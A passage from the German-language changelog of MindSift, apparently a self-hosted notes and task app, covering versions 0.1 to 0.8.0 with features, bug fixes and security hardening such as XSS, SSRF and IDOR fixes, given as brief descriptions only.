- Code-Blöcke: Zeilennummernspalte links mit synchronem Scrollen (wächst dynamisch bei 100+ Zeilen, zählt auch leere Endzeilen mit); horizontaler Bildlauf bei langen Zeilen ohne automatischen Zeilenumbruch (`white-space: pre`).
### Fixed
- Formatierungs-Kürzel wirken nicht in schreibgeschützten Notizen.
- Light-Theme: Kontraste für Code-Blöcke (`--bg-code`), Callouts (`--bg-panel-elevated`), Zitate und Rahmen auf Notizhintergründen geschärft; VS Code Light+ Syntaxfarben für hohe Lesbarkeit optimiert.
## [0.8.0] - 2026-10-30
### Added
- Benachrichtigungen pro Ereignis und Kanal (Kontoeinstellungen → Alarme): fällige Aufgaben (sofort), Freigabe erhalten, geteilte Aufgabe erledigt, beobachtete Aufgaben – jeweils per eigener E-Mail und/oder eigenem Discord-Webhook. Alles außer fälligen Aufgaben kommt gebündelt (höchstens alle 5 Minuten eine Nachricht, `NOTIFY_DIGEST_MINUTES`), E-Mails jetzt mit HTML-Layout. Eigene Änderungen lösen nichts aus (bei beobachteten Aufgaben zuschaltbar), ein Schalter pausiert alles.
- Aufgaben beobachten: Knopf im Aufgaben-Detail; jede Änderung daran wird gemeldet. API: `POST/DELETE /tasks/{id}/watch`.
- Tageszusammenfassung zur selbst gewählten Uhrzeit: überfällige, heutige und morgige Aufgaben mit Uhrzeit, dazu die Anzahl der nächsten 7 Tage; ohne fällige Aufgaben keine Nachricht.
### Changed
- Notizkopf aufgeräumt: Live-Status, Freigabe-Pille und Online-Avatare stehen oben in der Tab-Leiste neben „Gespeichert“; im Notizkopf gibt es Knöpfe für Rückgängig (`Strg+Z`) und Wiederholen (`Strg+Y`), „Teilen“ direkt sichtbar und ein Drei-Punkte-Menü für Anheften, Zusammenführen, Markdown-Export und Löschen.
- `/diktat` in Notizen: schreibt live mit (mehrzeiliger Text über den Wellen mit Zeitanzeige `mm:ss`), bricht im Browser-Modus bei Sprechpausen nicht mehr ab und schickt im Server-Modus alle ~8 Sekunden bzw. nach kurzen Sprechpausen Abschnitte zur Erkennung vorab.
### Fixed
- In eigene Notiz umwandeln: Der Link erscheint sofort im Punkt (auch hinter Proxys ohne Live-Verbindung), ohne Konfliktkopien bei gleichzeitigem Weitertippen; die neue Notiz steht sofort in der Seitenleiste. Strg+Z oder „Rückgängig“ im Hinweis holen den Ast zurück und legen die neue Notiz in den Papierkorb.
- Notizen: Link-Vorschau-Karten erscheinen nur noch, wenn der gesamte Punkt aus einer einzigen `https`-Adresse besteht (oder über `/link` in einem leeren Punkt eingefügt wurde), nicht mehr bei Links mitten im Fließtext.
- Notizen: Das Slash-Menü (`/`) öffnet sich nur noch am Textanfang oder nach einem Leerzeichen (nicht mehr beim Einfügen von Web-Adressen mit Schrägstrichen), schließt zuverlässig mit `Esc` oder `Backspace` und scrollt bei Pfeiltasten-Navigation automatisch mit.
- Notizen: `Enter` in einem leeren Punkt auf oberster Ebene legt auch am Ende der Notiz einen neuen Punkt darunter an.
- Benachrichtigungen: Die Tageszusammenfassung schließt nun auch Aufgaben aus Aufgabenlisten ein, die über eine Gruppe freigegeben wurden.
## [0.7.0] - 2026-10-30
### Added
- Punkt in eigene Notiz umwandeln: Knopf am Punkt (Desktop) oder `/extract` bzw. `/notiz`. Der Punkt wird Titel, seine Unterpunkte der Inhalt der neuen Notiz im selben Ordner; an seiner Stelle bleibt ein `[[Link]]` (Hashtags bleiben dort). In geteilten Notizen übernimmt die neue Notiz die Freigaben.
- Notizen zusammenführen: in der Seitenleiste eine Notiz auf eine andere ziehen oder im Kopf der Notiz „Mit anderer Notiz zusammenführen…“. Die Quelle wird als Abschnitt (Überschrift mit Unterpunkten) angehängt und wandert in den Papierkorb; „Rückgängig“ im Hinweis macht beides rückgängig.
- Eigene Spracherkennung (optional): Mit `STT_URL` schickt MindSift Aufnahmen an einen selbst betriebenen Whisper-Server (OpenAI-kompatibel, z. B. speaches) statt an Google oder Microsoft. Einstellung nur per Umgebungsvariablen (`STT_*`) inklusive Grenzwerten; `docker-compose.yml` enthält den Dienst `whisper` als auskommentierten Block zum Einschalten, das Modell lädt MindSift beim ersten Start selbst. Administration → Server & Isolation zeigt den aktiven Modus und bietet eine Testaufnahme. In der Demo bleibt es bei der Browser-Erkennung.
- API: `POST /voice/transcribe`, `GET /admin/voice`; `/auth/status` meldet `voice.mode`.
- Bilder in Notizen: `/image` (auch `/bild`) in einem leeren Punkt öffnet direkt im Punkt eine Auswahl – Datei, Kamera (Handy), Hineinziehen, Einfügen mit Strg+V oder Bild-Link (der Server übernimmt eine Kopie). Fotos werden vor dem Hochladen auf höchstens 2048 px verkleinert und als WebP gespeichert, Standortdaten entfallen dabei. Klick vergrößert, darunter eine optionale Beschriftung. Esc oder ✕ macht den Punkt wieder zum leeren Punkt.
- Sprachnotizen in Notizen: `/audio` in einem leeren Punkt zeigt eine Aufnahme-Blase – grüner Knopf startet, er wird rot und links laufen Live-Wellen mit der Zeit, ein Tipp speichert die Aufnahme als Audio-Player im Punkt. Alternativ eine Audiodatei hochladen. Mit eigener Spracherkennung macht „Transkribieren“ aus der Aufnahme die (durchsuchbare) Beschriftung.
- Diktat in Notizen: `/diktat` in einem leeren Punkt hört sofort zu; der Punkt wird zu einer Fläche mit Live-Wellen und „Stopp“, ein Tipp setzt den erkannten Text in den Punkt. Nutzt die eingestellte Spracherkennung (eigener Server oder Browser) und wird ohne Spracherkennung nicht angeboten.
- Backup und Export mit Medien: Das Backup-ZIP (auch die automatischen Server-Backups pro Konto) enthält die Bilder und Sprachnotizen der eigenen Notizen, das Markdown-Archiv legt sie unter `attachments/` ab und bettet sie Obsidian-kompatibel ein. Beim Zurückspielen kommen sie wieder als Bild- und Audioblöcke. Der Obsidian-Import übernimmt jetzt auch eingebettete Bilder und Audiodateien (`![[bild.png]]`, `![](bild.png)`).
- Link-Vorschau in Notizen: Über einem Punkt mit einer Web-Adresse (https) erscheint eine kompakte Karte mit Icon, Seitenname, Titel, einer Zeile Beschreibung und kleinem Bild. Der MindSift-Server ruft die Seite ab (wie bei Bildern nur öffentliche https-Adressen) und speichert die Vorschau 7 Tage; Browser der Leser kontaktieren die Seite nicht. ✕ blendet die Vorschau für diesen Link aus (er wird zu `[Titel](Adresse)`), Darstellung → „Link-Vorschauen anzeigen“ schaltet alle ab. In der Demo aus. API: `GET /link-preview?url=`.
- Medienablage für Notizen (Grundlage für Bilder und Audio): Hochladen, Kopieren externer Bilder, Abruf nur mit Leserecht; Grenzen per `MEDIA_*`; nicht mehr verwendete Dateien werden automatisch entfernt. API: `POST /documents/{id}/media`, `POST /documents/{id}/media/fetch`, `GET /media/{id}`.
- Code-Blöcke in Notizen: Sprachauswahl (rund 50 Sprachen, bei Bedarf nachgeladen), Farben beim Tippen im Stil von VS Code Dark+/Light+ für alle Themes, „Kopieren“, Tab/Shift+Tab rückt ein und aus. `/code yaml` oder ```` ```yaml ```` legt die Sprache direkt fest.
### Changed
- **Hinweis für den Betrieb:** Bilder und Sprachnotizen liegen in `data/media/`, nicht in der Datenbank. Wer den Server sichert, sichert den ganzen Ordner `data/` (der Datenbank-Abzug der Admin-Backups enthält keine Mediendateien). Optional neu in `docker-compose.yml`: der auskommentierte Dienst `whisper`.
- Notizen auf dem Handy: fast kein Seitenrand mehr, Einrückung 14 statt 22 px pro Ebene, Zoom- und Löschknopf belegen nur noch in der aktiven Zeile Platz. Sehr tief verschachtelte Punkte behalten eine lesbare Breite, die Notiz lässt sich dann seitlich verschieben statt den Text zu quetschen.
- E-Mails zeigen einen Absendernamen: `SMTP_FROM_NAME` bzw. das neue Feld „Absender-Name“ in Administration → E-Mail (Standard „MindSift“), wenn die Absenderadresse keinen eigenen Namen enthält.
- Slash-Befehle einheitlich englisch: `/image` statt `/bild` (`/bild` findet ihn weiterhin), kürzere Beschreibungen, breiteres Menü ohne Umbrüche.
- `docker-compose.yml` enthält nur noch die Zuordnungen; alle Erklärungen zu den Variablen stehen in `.env.example`. Neu durchgereicht werden `TZ`, `TRUSTED_PROXIES`, `LOGIN_PROTECTION`, `DEMO_RESET_MINUTES` und `LEGAL_*_CONTENT`, die vorher in `.env` gesetzt wirkungslos blieben.
- Workspace-Seitenleiste wie ein Datei-Explorer: angeheftete Notizen oben, darunter Ordner und Notizen ohne Zwischenüberschriften.
- Spracheingabe in Quick Dump, im mobilen Erfassen-Sheet und beim Halten des +-Knopfs folgt der Server-Einstellung: mit eigenem Whisper-Server funktioniert sie in allen Browsern (auch Firefox), mit Live-Wellen während der Aufnahme und „Wird erkannt…“ danach. Ohne Unterstützung im Browser oder mit `STT_DISABLED=true` ist das Mikrofon ausgeblendet statt einer Fehlermeldung.
## [0.6.1] - 2026-10-29
### Fixed
- Notizen: Wer im Rhythmus tippte (kurze Pausen zwischen den Wörtern), bekam Konfliktkopien gegen sich selbst, auch in nicht geteilten Notizen. Mehrere ungesendete Änderungen an einem Punkt zählten lokal als mehrere Versionen, beim Server aber als eine.
## [0.6.0] - 2026-10-29
### Added
- Profil → „Aktive Sitzungen“: Liste der angemeldeten Geräte mit letzter Nutzung und „Abmelden“ je Gerät.
- API: `GET /auth/sessions`, `DELETE /auth/sessions/{id}`.
- Triage: Gibt es genau eine beschreibbare Liste, setzt „Auf ‹Listenname›“ den Gedanken direkt darauf, ohne Auswahl. Nur lesbar geteilte Listen werden beim Erfassen und in der Triage nicht mehr angeboten.
### Changed
- **Achtung:** Nach dem Update sind alle Benutzer einmal abgemeldet (neue Sitzungsverwaltung, die alte Sperrliste `revoked_tokens` entfällt).
- **Achtung:** `?token=` in der URL von `/webhooks/ingest` nimmt nur noch API-Keys (`mindsift_sec_…`) an.
- **Achtung:** `GET /admin/settings` liefert `smtpPass` nicht mehr; neu ist `smtpPassSet`.
- **Achtung:** `PATCH /auth/settings` verlangt für `password` und `email` das Feld `currentPassword`, sonst `403`.
- Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht.
- Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur.
### Fixed
- Große Downloads (Backups, Exporte) brachen nach 30 Sekunden ab, große Importe nach 15 Sekunden Upload (FLAW-38).
- Der Offline-Start der App funktioniert zuverlässig: Ein altes Script in der Startseite hat bei jedem Aufruf alle Caches des Service Workers gelöscht.
### Security
- Links in Notizen, Aufgaben-Notizen und Impressum öffnen nur noch `http`, `https` und `mailto`; `javascript:` und ähnliche Links erscheinen als Text. Vorher konnte ein Bearbeiter einer geteilten Aufgabenliste über einen präparierten Link Code im Browser anderer ausführen (FLAW-28).
- Sicherheits-Header für alle Antworten: Content-Security-Policy (Scripts nur von MindSift selbst, keine Einbettung in fremde Seiten), `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy` (FLAW-29).
- Passwort und Login-E-Mail lassen sich nur noch mit dem aktuellen Passwort ändern; die bisherige Adresse bekommt eine Hinweismail, wenn SMTP eingerichtet ist (FLAW-30).
- Anmeldungen sind serverseitige Sitzungen: Jedes Gerät lässt sich einzeln abmelden, unbenutzte Sitzungen enden nach 30 Tagen, aktive werden täglich erneuert. Ein neues Passwort meldet alle anderen Geräte ab (FLAW-31).
- IDs neuer Datensätze haben 96 statt 40 Zufallsbits, Einladungscodes eigene 100 Bit (`INV-ABCDE-FGHIJ-KLMNO-PQRST`); vorhandene IDs und Codes bleiben gültig (FLAW-32).
- Registrierung und „Passwort vergessen“ sind pro Adresse begrenzt (20 bzw. 10 Anfragen in 15 Minuten), Einladungscodes lassen sich so nicht durchprobieren (FLAW-39).
- Ein Einladungscode lässt sich auch bei gleichzeitigen Registrierungen nur einmal einlösen (FLAW-40).
- Öffentliche Demo: verschickt nichts mehr (Alarme, Testalarme, SMTP-Test, Hinweismails), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail, Sitzungen und Konten der gemeinsamen Demo-Konten lassen sich nicht ändern; die Sitzungsliste zeigt nur das eigene Gerät (FLAW-33).
- Das SMTP-Passwort wird nie mehr an den Browser geschickt; leer lassen behält das gespeicherte (FLAW-34).
- `?token=` beim Webhook-Ingest nimmt nur noch API-Keys an, keine Sitzungs-Tokens (FLAW-35).
- Anfragekörper sind auf 2 MB begrenzt, Notiz-Sync auf 8 MB, Importe auf 101 MB (FLAW-36).
- Konto löschen entfernt auch die Server-Backups des Kontos (FLAW-37).
## [0.5.2] - 2026-10-29
### Fixed
- Einkaufsliste auf dem Smartphone (iOS): Der `+`-Knopf und der Menüeintrag setzen den Fokus für neue Einträge direkt in der Tipp-Geste statt verzögert nach 60 ms, sodass sich die Bildschirmtastatur auf iOS zuverlässig öffnet; Eingabefelder nutzen mobil 16 px Schriftgröße gegen automatisches Heranzoomen.
## [0.5.1] - 2026-10-29
### Fixed
- Mobiler `+`-Knopf in Triage und Aufgaben: Ein kurzes Antippen öffnet das Erfassen-Sheet wieder über das `click`-Event statt bei `pointerup`, damit der direkt folgende Browser-Klick nicht auf dem Hintergrund-Overlay landet und das Sheet sofort wieder schließt (nach langem Halten für die Sprachaufnahme wird der nachfolgende Klick ignoriert).
## [0.5] - 2026-10-29
### Added
- Automatische tägliche Server- und Benutzer-Backups (`$DATA_DIR/backups`): konsistenter SQLite-Gesamtabzug (`VACUUM INTO`, `.db.gz`) sowie ein MindSift-Backup-ZIP pro aktivem Konto; einstellbare Uhrzeit und Aufbewahrungsdauer (Standard 03:00 Uhr, 3 Tage) unter Administration → Datensicherung inkl. „Jetzt sichern“.
- Kontoeinstellungen → Server-Backups: Eigene Sicherungen herunterladen oder gezielt nach Bereichen (`notes`, `tasks`, `lists`, `inbox`, `themes`) wiederherstellen (ersetzen oder hinzufügen); auch der manuelle MindSift-Import unterstützt die Bereichsauswahl und nimmt eigene Themes mit.
- Mobil: Gedrückthalten des `+`-Knopfs startet eine Sprachaufnahme und legt das Transkript beim Loslassen direkt im Quick Dump ab (nach oben ziehen bricht ab); kurzes Tippen bzw. Tastatur/Screenreader öffnen weiterhin das Erfassen-Sheet.
- API-Key-Scopes (`webhook:triage`, `webhook:task`, `webhook:list`): Auswahl beim Anlegen, Anzeige als Badges und Webhook-Simulator für alle drei Ziele in den Kontoeinstellungen (FLAW-07).
- Demo-Modus: Automatischer Reset alle 20 Minuten (`DEMO_RESET_MINUTES`, `0` = aus) mit Live-Countdown (`✨ Demo · Reset in MM:SS`) in der Kopfzeile; Sitzungen bleiben über feste Demo-Konto-IDs erhalten. Tief verschachtelte Beispielnotiz „Hausrenovierung 2027“ (7 Ebenen) zum Ausprobieren des Zoom-Fokus.
- Zähler für offene Listeneinträge am Reiter „Listen“; die Suche in der Notiz-Seitenleiste öffnet die globale Volltextsuche (`⌘K`).
### Changed
- **Achtung:** WebSocket (`/ws`) und SSE (`/events`) akzeptieren kein `?token=` mehr in der URL, sondern kurzlebige Einmal-Tickets (`POST /auth/stream-ticket`, 60 s gültig) oder den `Authorization`-Header (FLAW-22).
- **Achtung:** Neue Passwörter müssen mindestens 8 Zeichen lang sein (Setup, Registrierung, Profil, Admin, Passwort-Reset) (FLAW-09).
- Nummerierte Datenbank-Migrationen über `schema_migrations`, die genau einmal laufen und bei Fehlern den Start abbrechen statt Fehler zu verschlucken (FLAW-13).
- Echtes ESLint (`eslint.config.js`) im Frontend- und Image-Build sowie erweiterte Frontend-Tests (FLAW-19); vereinheitlichte Zugriffsabfrage für Aufgabenlisten (FLAW-20).
### Fixed
- SQLite-Transaktionen starten mit `BEGIN IMMEDIATE` (`_txlock=immediate`), sodass parallele Schreiber auf das Lock warten statt mit `SQLITE_BUSY` zu scheitern (FLAW-23).
- Mehrstufige Datenbankänderungen (Ordner/Aufgabenlisten/Konten löschen, Freigaben, Passwort-Reset) laufen atomar in Transaktionen und melden Schreibfehler sauber zurück (FLAW-14).
- Fälligkeits-Alarme brechen nach 3 fehlgeschlagenen Zustellversuchen mit einer Warnung ab, statt jede Minute endlos weiterzusenden (FLAW-12).
- Bessere Lesbarkeit (dunkler Text) auf dem Türkis-Akzent des Themes `Polarized` sowie korrekte `rounded-full`-Darstellung runder Icon-Buttons in eckigen Themes.
### Security
- Einmal-Stream-Tickets statt langlebiger Sitzungs-Tokens in WebSocket-/SSE-URLs; `BASE_URL` schränkt CORS- und WebSocket-Origins ein; Abmelden, Passwortwechsel und Kontosperre trennen offene Live-Streams sofort (FLAW-22).
- Berechtigungsprüfung für alle Listeneintrags-Endpunkte und beim Umwandeln von Gedanken in Listeneinträge (Eigentümer oder Bearbeiter erforderlich, verhindert IDOR und Schreibzugriffe durch Leser) (FLAW-27).
- API-Keys sind strikt auf ihre Scopes (`webhook:triage`, `webhook:task`, `webhook:list`) beschränkt und können keine Live-Streams öffnen (FLAW-07).
- Schutz gegen Brute-Force beim Login (Sperre nach Fehlversuchen pro Konto+IP, Konto und IP mit `429` und `Retry-After`) sowie explizite Konfiguration vertrauenswürdiger Reverse-Proxys über `TRUSTED_PROXIES` (FLAW-09).
- `DeleteTaskList` prüft die Eigentümerschaft vor dem Entkoppeln von Aufgaben; Leser können Verknüpfungen zwischen Notiz-Blöcken und Aufgaben nicht mehr aufheben (FLAW-14).
## [0.4.1] - 2026-10-29
### Added
- Fälligkeitsdatum mit optionaler Uhrzeit (`YYYY-MM-DDTHH:MM`); Alarme berücksichtigen Uhrzeit (bzw. 09:00 Uhr bei ganztägigen Aufgaben), Vorlaufzeit (`notify_before_minutes`) und Zeitzone (`TZ`, Standard `Europe/Berlin`) (FLAW-12).
- Papierkorb für Notizen (`GET/POST/DELETE /documents/trash…`): Gelöschte Notizen und Ordner landen im Papierkorb, verschwinden aus Baum, Suche und Export und lassen sich vom Eigentümer wiederherstellen oder endgültig löschen.
- Backlinks am Ende einer Notiz (`GET /documents/{id}/backlinks`): Zeigt alle zugänglichen Notizen und Punkte, die per `[[Titel]]` auf die aktuelle Notiz verweisen, mit direktem Sprung zum Punkt.
- „Passwort vergessen?“ auf dem Anmeldebildschirm (wenn SMTP und `BASE_URL` eingerichtet sind): Einmal-Link per E-Mail (SHA-256-Hash gespeichert, 1 Stunde gültig), setzt das Passwort zurück und beendet alle bestehenden Sitzungen.
- Offline-fähige PWA: Service Worker hält die App-Shell vor, gelesene Daten werden pro Benutzer in IndexedDB zwischengespeichert und offline erfasste Gedanken sowie abgehakte Aufgaben/Listeneinträge über eine Outbox bei Rückkehr der Verbindung synchronisiert.
- Zwei neue dunkle Themes: `Polarized` (Obsidian & Türkis/Smaragd) und `Suri` (Mitternachts-Pflaume & Orchidee).
### Changed
- Aufteilung von `internal/storage/sqlite.go` und `internal/api/server.go` in domänenspezifische Dateien ohne Verhaltensänderung (FLAW-20).
### Security
- Ohne gesetztes `JWT_SECRET` (oder bei bekannten Platzhaltern) erzeugt der Server einmalig ein zufälliges 32-Byte-Geheimnis in `data/jwt.secret` (`0600`), statt ein öffentlich bekanntes Standard-Secret zu verwenden (FLAW-04).
- SSRF-Schutz für Discord- und benutzerdefinierte Alarm-Webhooks: Nur `https`, Host-Prüfung für Discord, Blockieren von Loopback/Link-Local/Cloud-Metadata bei der DNS-Auflösung; private Netze und `http` nur über expliziten Admin-Schalter (`allowPrivateWebhooks`) (FLAW-05).
- Einheitliche Authentifizierungsprüfung für Middleware und Webhook-Ingest inkl. Sperrliste, `token_version` und aktivem Konto; API-Keys dürfen keine Lese- oder Verwaltungs-Endpunkte mehr aufrufen (FLAW-07, FLAW-08).
## [0.4] - 2026-10-29
### Added
- Daten-Import mit Vorschau (`?preview=1`) und Größen-/Pfad-Limits: Wiederherstellen oder Hinzufügen von MindSift-Backups (JSON, ZIP oder Markdown-Archiv via `POST /import/mindsift`) sowie Import ganzer Obsidian-Vaults als ZIP (`POST /import/obsidian`).
- Vollständiger Datenexport auch als komprimiertes ZIP-Archiv (`GET /export?format=zip`).
- Wiederkehrende Aufgaben (`daily`, `weekly`, `monthly`, `yearly`): Beim Abschließen einer Aufgabe wird automatisch die nächste Instanz zum Folgetermin angelegt.
- Gefahrenzone in den Kontoeinstellungen: Eigene Daten (`DELETE /user/data`) oder das gesamte eigene Konto (`DELETE /user/account`) nach Passwortbestätigung löschen (der letzte Server-Admin ist vor Selbstlöschung geschützt).
- PWA-Startbildschirm (Splash Screen) und automatische Anpassung der Statusleisten-Farbe (`theme-color`) an das aktive Theme.
### Fixed
- SMTP-Versand fällt auf `AUTH LOGIN` zurück, wenn der Server `AUTH PLAIN` ablehnt (z. B. Postfix/Dovecot oder Exchange); das Port-Feld in den Admin-Einstellungen lässt sich leeren und ohne Typfehler speichern.
- Mobil: Formular-Sheets (`FormSheet`) und Emoji-Picker positionieren sich über der Bildschirmtastatur (`visualViewport`).
- Ältere Datenbanken werden beim Start nicht mehr durch den früheren Schema-Reset geleert.
## [0.3] - 2026-10-29
### Added
- Organisationen und Sichtbarkeits-Modi (`private`, `organizations`, `open`), verwaltet durch Server-Admins; bestimmt zentral, wer wen in der Benutzersuche sieht und mit wem Inhalte geteilt werden können (FLAW-10, FLAW-24).
- Aufgaben-Zuweisung (`assignees`) in geteilten Aufgabenlisten, einheitliche Benutzersuche (`UserAutocomplete`), Avatar-Stapel (`AvatarStack`) und runde Zähler-Badges (`CountBadge`).
- Eigene CSS-Themes pro Benutzer (`GET/POST /themes`, `DELETE /themes/{id}`): `.css`-Datei hochladen oder einfügen, Vorlage herunterladen und live umschalten.
- Globale Volltextsuche über Gedanken, Aufgaben, Notizen und Listeneinträge auf Basis von SQLite FTS5 mit BM25-Ranking, Berechtigungsprüfung und `⌘K`/`Ctrl+K`-Befehlspalette (FLAW-18).
- Obsidian-kompatibler Markdown-Export (`GET /export/markdown`) als gestreamtes ZIP-Archiv über alle Notizen, Ordner, Aufgabenlisten und Listen.
- Vollständige Emoji-Auswahl für Notiz-Icons (Lazy-Loading, auf dem Smartphone als Bottom-Sheet).
- Optionale Links/Texte für Impressum und Datenschutz (`LEGAL_IMPRINT_*`, `LEGAL_PRIVACY_*`, `GET /legal/{imprint|privacy}`) sowie „Über MindSift“-Dialog.
- Veröffentlichung unter [The Unlicense](LICENSE) (gemeinfrei, FLAW-21).
### Changed
- **Achtung:** Nur noch Eigentümer können Ressourcen (Aufgabenlisten, Listen, Notizen, Ordner) teilen; das alte Feld `task_lists.team_id` und die ungeschützten `/organizations`-Routen entfallen. Entfällt die Sichtbarkeit (z. B. durch Organisationswechsel), werden Freigaben, Gruppenmitgliedschaften und Zuweisungen automatisch bereinigt (FLAW-06, FLAW-10, FLAW-24).
- Demo-Modus setzt die Datenbank bei jedem Serverstart sauber zurück und befüllt sie neu.
### Fixed
- SMTP-Client mit explizitem Protokollablauf (`EHLO` mit Absender-Domain, `STARTTLS`, `AUTH`, RFC-2047-Header, `SMTP_SKIP_VERIFY` für selbstsignierte Zertifikate).
- Tailwind-Deckkraft-Modifikatoren (`bg-accent/15` usw.) funktionieren über `color-mix()` mit allen Theme-Variablen.
- Mobil- und Desktop-Verbesserungen: Stilles Nachladen von Aufgabenlisten ohne Verschlucken von Klicks, `#`-Anker in URLs werden nicht mehr als Hashtags erkannt, mehrzeilige Aufgaben-Notizen im Dialog voll scrollbar.
## [0.2.1] - 2026-10-28
### Added
- Notizen: Nach dem Umwandeln eines `/todo`-Punkts in eine erweiterte Aufgabe öffnet sich diese direkt; ein Klick auf das Badge „Erweitert“ öffnet den Aufgabendialog.
### Changed
- Container-Build taggt Release-Images (`v*`) zusätzlich als `:stable` und `:latest`, den `dev`-Branch als `:dev`.
## [0.2] - 2026-10-28
### Added
- Echtzeit-Zusammenarbeit in Notizen (`internal/collab`, `frontend/src/lib/docSync`): Server-autoritativer Operations-Log (`doc_ops`) mit Baumstruktur, Fractional-Indexing-Sortierschlüsseln, 20-Sekunden-Blocksperren (Leases), Offline-Warteschlange in IndexedDB und automatischem Transport-Fallback (WebSocket → SSE → Long-Polling → Intervall-Polling).
- Notizen und Ordner lassen sich jetzt auch mit Schreibrecht („Bearbeiten“) teilen (FLAW-17).
- Sichtbare Blocksperren mit Namen des Bearbeitenden, Anwesenheitsanzeige im Notizkopf, Konfliktkopien („Übernehmen“ / „Verwerfen“) statt Datenverlust bei gleichzeitigen Änderungen sowie benutzerbezogenes Undo/Redo (`Ctrl/Cmd+Z`, `Ctrl+Y`) über die gesamte Notiz (FLAW-25, FLAW-26).
- Automatische Hintergrund-Verdichtung des Operations-Logs und Bereinigung gelöschter Blöcke (Tombstones) nach 30 Tagen.
- Outliner: `Backspace` am Zeilenanfang verschmilzt den Punkt mit dem vorherigen; `#Hashtags` werden direkt im Fließtext als anklickbare Chips gerendert; Klick in einen Punkt setzt den Cursor exakt an die geklickte Textstelle.
- Vitest + Testing Library im Frontend-Build sowie Playwright-End-to-End-Tests (`e2e/`) für Live-Kollaboration, Sperren und Proxy-Fallbacks.
### Removed
- **Achtung:** Altes ganzheitliches Überschreiben von Notizen (`PATCH /documents/{id}/blocks`, `DOC_BLOCKS_PATCHED`) entfernt; alle Blockänderungen laufen über `/docs/{id}/sync`.
### Security
- Echtzeit-Ereignisse (`BroadcastToAll` entfernt) und WebSocket-/SSE-Räume sind strikt auf berechtigte, angemeldete Benutzer beschränkt; `ReorderTasks` prüft Schreibrechte (IDOR behoben); SSE-Streams werden nicht mehr nach 30 s durch `WriteTimeout` getrennt; Block-Upserts prüfen die Dokumentzugehörigkeit (FLAW-01, FLAW-02, FLAW-03, FLAW-11, FLAW-15).
## [0.1] - 2026-10-27
### Added
- Erste veröffentlichte Version von MindSift als einzelner selbst gehosteter Container (Go-Backend, eingebettetes React/TypeScript/Tailwind-Frontend, SQLite im WAL-Modus).
- Schnellerfassung (Quick Dump per `C`/`/`, Spracheingabe, mehrzeilig mit `Shift+Enter`, direkte Zielwahl) und Triage-Deck (Tastaturkürzel & Smartphone-Wischgesten).
- Aufgabenverwaltung mit mehreren Listen, frei konfigurierbarem Kanban-Board, Prioritäten, Fälligkeitsdaten, Unteraufgaben mit Fortschrittsbalken, Markdown-Notizen, Filtern/Gruppierungen sowie Fälligkeits-Alarmen per E-Mail (SMTP), Discord und eigenem Webhook.
- Hierarchischer Outliner-Workspace mit Ordnerbaum, Drag & Drop ganzer Äste, Zoom-Fokus mit Breadcrumbs, Slash-Befehlen (`/todo`, `/link`, `/h1`–`/h3`, `/code`, `/callout`, `/divider`), Wiki-Links `[[Notiz]]`, `#Hashtag`-Übersicht, globalem To-Do-Rollup und `.md`-Export.
- Geteilte Listen (Einkaufs-, Pack- und Checklisten) mit `#Kategorie`-Gruppierung, Mengenangaben und Echtzeit-Abhaken.
- Benutzer-, Gruppen- und Admin-Verwaltung (Ersteinrichtungs-Assistent, Einladungscodes, Profilbilder, persönliche API-Keys & Webhook-Ingest `/api/v1/webhooks/ingest`, JSON-Datenexport) sowie CSS-Theme-Engine mit 4 Themes (`Dark`, `Light`, `High Contrast`, `Soft`) und PWA-Unterstützung.
[Unreleased]: https://git.dsit.me/sandrodach/MindSift/compare/v0.22.0...dev
[0.22.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.21.0...v0.22.0
[0.21.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.20.0...v0.21.0
[0.20.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.19.0...v0.20.0
[0.19.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.18.1...v0.19.0
[0.18.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.18.0...v0.18.1
[0.18.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.4...v0.18.0
[0.17.4]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.3...v0.17.4
[0.17.3]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.2...v0.17.3
[0.17.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.1...v0.17.2
[0.17.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.17.0...v0.17.1
[0.17.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.16.1...v0.17.0
[0.16.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.16.0...v0.16.1
[0.16.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.15.1...v0.16.0
[0.15.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.15.0...v0.15.1
[0.15.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.14.3...v0.15.0
[0.14.3]: https://git.dsit.me/sandrodach/MindSift/compare/v0.14.2...v0.14.3
[0.14.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.14.1...v0.14.2
[0.14.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.14.0...v0.14.1
[0.14.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.13.0...v0.14.0
[0.13.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.12.2...v0.13.0
[0.12.2]: https://git.dsit.me/sandrodach/MindSift/compare/v0.12.1...v0.12.2
[0.12.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.12.0...v0.12.1
[0.12.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.11.1...v0.12.0
[0.11.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.11.0...v0.11.1
[0.11.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.10.0...v0.11.0
[0.10.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.9.0...v0.10.0
[0.9.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.8.0...v0.9.0
[0.8.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.7.0...v0.8.0
[0.7.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...v0.7.0
[0.6.1]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...v0.6.1
